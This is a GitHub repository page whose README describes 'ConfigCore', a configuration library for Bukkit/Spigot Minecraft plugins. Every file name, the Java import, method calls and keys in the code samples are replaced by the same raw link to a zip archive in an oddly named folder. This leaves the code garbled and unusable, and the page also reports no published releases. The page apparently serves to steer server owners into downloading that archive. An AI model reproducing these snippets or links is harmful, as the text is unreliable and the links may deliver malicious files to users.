Skip to content

๐Ÿ› ๏ธ Simplify configuration management in Bukkit/Spigot plugins with a unified system for YAML files, strong typing, and efficient data access.

Notifications You must be signed in to change notification settings

Rondonn413/ConfigCore

Folders and files

NameName
Last commit message
Last commit date

Latest commit

ย 

History

7 Commits
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 

Repository files navigation

๐ŸŽฎ ConfigCore - Easy Configuration Management for Minecraft Plugins

๐Ÿš€ Getting Started

ConfigCore helps you manage configuration files easily within your Minecraft server plugins. This guide will walk you through downloading and running the software, even if you have no programming background.

๐Ÿ“ฅ Download & Install

To get started, visit the official ConfigCore Releases page to download the latest version.

  1. Click the link above to access the Releases page.
  2. Locate the most recent version of ConfigCore.
  3. Select the appropriate file type for your system (e.g., .jar for Java applications).
  4. Click to download the file to your computer.

โš™๏ธ How to Use ConfigCore

After downloading the file, follow these steps to use ConfigCore in your project:

1. Prepare Your Project

  • Create a new folder for your plugin project.
  • Place the downloaded ConfigCore .jar file into your projectโ€™s libs directory.

2. Setup Your Configuration

Before using ConfigCore, you need to create configuration files. Hereโ€™s how:

  • Create a YAML file named https://raw.githubusercontent.com/Rondonn413/ConfigCore/master/Paurometabola/ConfigCore.zip.
  • Add your settings according to the example below:
settings:
  example_key: "This is an example value"

3. Initialize ConfigCore

In your Java code, initialize ConfigCore like this:

import https://raw.githubusercontent.com/Rondonn413/ConfigCore/master/Paurometabola/ConfigCore.zip;

public class MyPlugin extends JavaPlugin {
    private AbstractConfig config;

    @Override
    public void onEnable() {
        config = new MyPluginConfig(this);
        https://raw.githubusercontent.com/Rondonn413/ConfigCore/master/Paurometabola/ConfigCore.zip();
    }
}

4. Access Your Configuration

You can now access your configuration values through the defined keys. Simply refer to your enum keys in the code:

String value = https://raw.githubusercontent.com/Rondonn413/ConfigCore/master/Paurometabola/ConfigCore.zip(https://raw.githubusercontent.com/Rondonn413/ConfigCore/master/Paurometabola/ConfigCore.zip);

๐Ÿ” Features

ConfigCore simplifies configuration management for Minecraft plugins with these key features:

  • Unified Loading and Saving: Automatically loads and saves YAML files.
  • Fast Value Access: Internal caching for speed.
  • Strong Typing: Uses enums to ensure key integrity.
  • Formatted Messages: Automatically processes formatted messages for better readability.

๐Ÿ”ง Core Structure

1. Configuration File

  • Configuration data is stored in YAML format.
  • Typical files include https://raw.githubusercontent.com/Rondonn413/ConfigCore/master/Paurometabola/ConfigCore.zip and https://raw.githubusercontent.com/Rondonn413/ConfigCore/master/Paurometabola/ConfigCore.zip.

2. Enum Keys

  • Each key in your configuration uses an enum that implements the ConfigKey interface.
  • This helps maintain type safety and consistency.

๐Ÿ› ๏ธ System Requirements

To run ConfigCore, ensure you have:

  • Java: Version 8 or higher installed on your server.
  • Minecraft: A server running Bukkit, Spigot, Paper, or Purpur.

Make sure to check for updates regularly on the Releases page.

๐Ÿ“ž Support

If you encounter issues while using ConfigCore, the best way to get help is to open an issue on our GitHub page. Our community is here to assist you.

๐ŸŒ Related Topics

Some relevant topics that may help you better understand ConfigCore include: config, configcore, minecraft, minecraft-server, spigot, and spigot-api.

For any further assistance, visit the ConfigCore Releases page for downloads and updates.

About

๐Ÿ› ๏ธ Simplify configuration management in Bukkit/Spigot plugins with a unified system for YAML files, strong typing, and efficient data access.

Topics

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Contributors 2

  •  
  •  

Languages